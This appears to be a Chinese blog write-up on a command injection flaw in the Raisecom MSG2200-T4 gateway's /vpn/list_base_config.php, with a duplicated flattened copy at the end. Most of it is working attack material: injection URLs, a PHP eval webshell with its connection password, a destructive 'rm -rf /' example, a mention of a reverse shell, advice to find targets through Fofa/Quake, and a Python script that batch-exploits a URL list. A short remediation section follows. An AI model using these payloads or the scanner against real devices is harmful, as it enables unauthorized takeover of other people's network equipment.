RCE复现 | 瑞斯康达智能网关RCE漏洞
字数 1281 2025-09-01 11:26:17

瑞斯康达智能网关RCE漏洞分析与复现指南

0x01 漏洞概述

受影响设备: MSG2200-T4型号瑞斯康达多业务智能网关

厂商: 瑞斯康达科技发展股份有限公司

设备用途: 集数据、语音、安全、无线等多种功能于一体的网络设备,专为中小企业及行业分支机构设计,广泛应用于政企单位、商务楼宇、校园、工业园区等场景。

漏洞类型: 远程命令执行(RCE)

漏洞危害: 攻击者可通过构造恶意请求在目标设备上执行任意系统命令,获取系统控制权。

0x02 漏洞分析

漏洞文件定位

主要漏洞文件位于: /vpn/list_base_config.php

漏洞参数

可利用的参数包括:

  • type
  • parts
  • pages
  • serch_value

漏洞触发流程

  1. parts参数值为'base_config'时,进入对应case分支
  2. 'base_config'分支中,当type参数为'mod'时,调用obj_sslvpn对象的sslvpn_config_mod(2)方法
  3. sslvpn_config_mod方法中,未对用户输入的templatestylenum参数进行过滤,直接拼接执行系统命令

漏洞代码分析

漏洞核心代码特征:

// 直接使用用户输入构造系统命令
$cmd = "cp /www/tmp/".$_REQUEST['template']." /www/tmp/".$_REQUEST['stylenum'];
system($cmd);

命令注入示例

攻击者可构造如下恶意输入:

template=`rm -rf /`

导致执行:

cp /www/tmp/`rm -rf /` /www/tmp/[stylenum值]

0x03 影响范围

/vpn/list_base_config.php外,以下文件也存在类似漏洞:

  1. /vpn/list_ip_network.php
  2. /vpn/list_service_manage.php
  3. /vpn/list_vpn_web_custom.php
  4. /vpn/vpn_template_style.php

0x04 漏洞复现

准备工作

  1. 使用网络空间搜索引擎(如Quake、Fofa)搜索瑞斯康达网关资产
  2. 识别特征: 特定网页样式和功能

基础验证POC

步骤1: 构造命令执行Payload

http://[目标IP]/vpn/list_base_config.php?type=mod&parts=base_config&template=`echo -e '<?php phpinfo();unlink(__FILE__);?>'>/www/tmp/test.php`

步骤2: URL编码Payload
将上述Payload进行URL编码后访问:

http://127.0.0.1/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo+-e+%27%3C%3Fphp+phpinfo%28%29%3Bunlink%28__FILE__%29%3B%3F%3E%27%3E%2Fwww%2Ftmp%2Ftest.php%60

步骤3: 验证漏洞存在
访问生成的phpinfo页面:

http://[目标IP]/tmp/test.php

若显示phpinfo页面则确认漏洞存在

深入利用

方法1: 写入Webshell

http://[目标IP]/vpn/list_base_config.php?type=mod&parts=base_config&template=`echo -e '<?php eval($_POST[cmd]);?>'>/www/tmp/shell.php`

使用蚁剑等工具连接:

  • 地址: http://[目标IP]/tmp/shell.php
  • 密码: cmd

方法2: 反弹Shell
构造反弹shell命令并URL编码后执行

0x05 批量检测脚本

Python检测脚本示例:

import requests
from urllib.parse import quote

def check_vuln(url):
    payload = "`echo -e '5201314'>/www/tmp/test.php`"
    encoded_payload = quote(payload)
    target = f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={encoded_payload}"
    
    try:
        requests.get(target, timeout=5)
        verify_url = f"{url}/tmp/test.php"
        resp = requests.get(verify_url, timeout=5)
        if "5201314" in resp.text:
            print(f"[+] Vulnerable: {url}")
            # 清理测试文件
            clean_payload = "`rm /www/tmp/test.php`"
            requests.get(f"{url}/vpn/list_base_config.php?type=mod&parts=base_config&template={quote(clean_payload)}")
        else:
            print(f"[-] Not vulnerable: {url}")
    except Exception as e:
        print(f"[!] Error checking {url}: {str(e)}")

if __name__ == "__main__":
    with open("url.txt", "r") as f:
        for line in f:
            url = line.strip()
            if url:
                check_vuln(url)

0x06 修复方案

1. 输入验证

对用户输入进行严格验证:

if (!preg_match('/^[a-zA-Z0-9_]+$/', $_REQUEST['template'])) {
    die("Invalid template parameter");
}

2. 安全命令执行

使用参数化方式执行命令:

$template = escapeshellarg($_REQUEST['template']);
$stylenum = escapeshellarg($_REQUEST['stylenum']);
$cmd = "cp /www/tmp/{$template} /www/tmp/{$stylenum}";
system($cmd);

3. 权限控制

  • Web服务器以最低权限运行
  • 限制关键目录的写权限

4. 日志监控

  • 记录所有执行的系统命令
  • 监控异常访问行为

5. 补丁更新

联系厂商获取最新安全补丁并应用

0x07 总结

该漏洞由于未对用户输入进行过滤,导致攻击者可通过构造恶意参数执行任意系统命令。建议所有使用瑞斯康达MSG2200-T4智能网关的用户立即检查系统安全性,并按照修复方案进行防护。

瑞斯康达智能网关RCE漏洞分析与复现指南 0x01 漏洞概述 受影响设备 : MSG2200-T4型号瑞斯康达多业务智能网关 厂商 : 瑞斯康达科技发展股份有限公司 设备用途 : 集数据、语音、安全、无线等多种功能于一体的网络设备,专为中小企业及行业分支机构设计,广泛应用于政企单位、商务楼宇、校园、工业园区等场景。 漏洞类型 : 远程命令执行(RCE) 漏洞危害 : 攻击者可通过构造恶意请求在目标设备上执行任意系统命令,获取系统控制权。 0x02 漏洞分析 漏洞文件定位 主要漏洞文件位于: /vpn/list_base_config.php 漏洞参数 可利用的参数包括: type parts pages serch_value 漏洞触发流程 当 parts 参数值为 'base_config' 时,进入对应case分支 在 'base_config' 分支中,当 type 参数为 'mod' 时,调用 obj_sslvpn 对象的 sslvpn_config_mod(2) 方法 在 sslvpn_config_mod 方法中,未对用户输入的 template 和 stylenum 参数进行过滤,直接拼接执行系统命令 漏洞代码分析 漏洞核心代码特征: 命令注入示例 攻击者可构造如下恶意输入: 导致执行: 0x03 影响范围 除 /vpn/list_base_config.php 外,以下文件也存在类似漏洞: /vpn/list_ip_network.php /vpn/list_service_manage.php /vpn/list_vpn_web_custom.php /vpn/vpn_template_style.php 0x04 漏洞复现 准备工作 使用网络空间搜索引擎(如Quake、Fofa)搜索瑞斯康达网关资产 识别特征: 特定网页样式和功能 基础验证POC 步骤1 : 构造命令执行Payload 步骤2 : URL编码Payload 将上述Payload进行URL编码后访问: 步骤3 : 验证漏洞存在 访问生成的phpinfo页面: 若显示phpinfo页面则确认漏洞存在 深入利用 方法1 : 写入Webshell 使用蚁剑等工具连接: 地址: http://[目标IP]/tmp/shell.php 密码: cmd 方法2 : 反弹Shell 构造反弹shell命令并URL编码后执行 0x05 批量检测脚本 Python检测脚本示例: 0x06 修复方案 1. 输入验证 对用户输入进行严格验证: 2. 安全命令执行 使用参数化方式执行命令: 3. 权限控制 Web服务器以最低权限运行 限制关键目录的写权限 4. 日志监控 记录所有执行的系统命令 监控异常访问行为 5. 补丁更新 联系厂商获取最新安全补丁并应用 0x07 总结 该漏洞由于未对用户输入进行过滤,导致攻击者可通过构造恶意参数执行任意系统命令。建议所有使用瑞斯康达MSG2200-T4智能网关的用户立即检查系统安全性,并按照修复方案进行防护。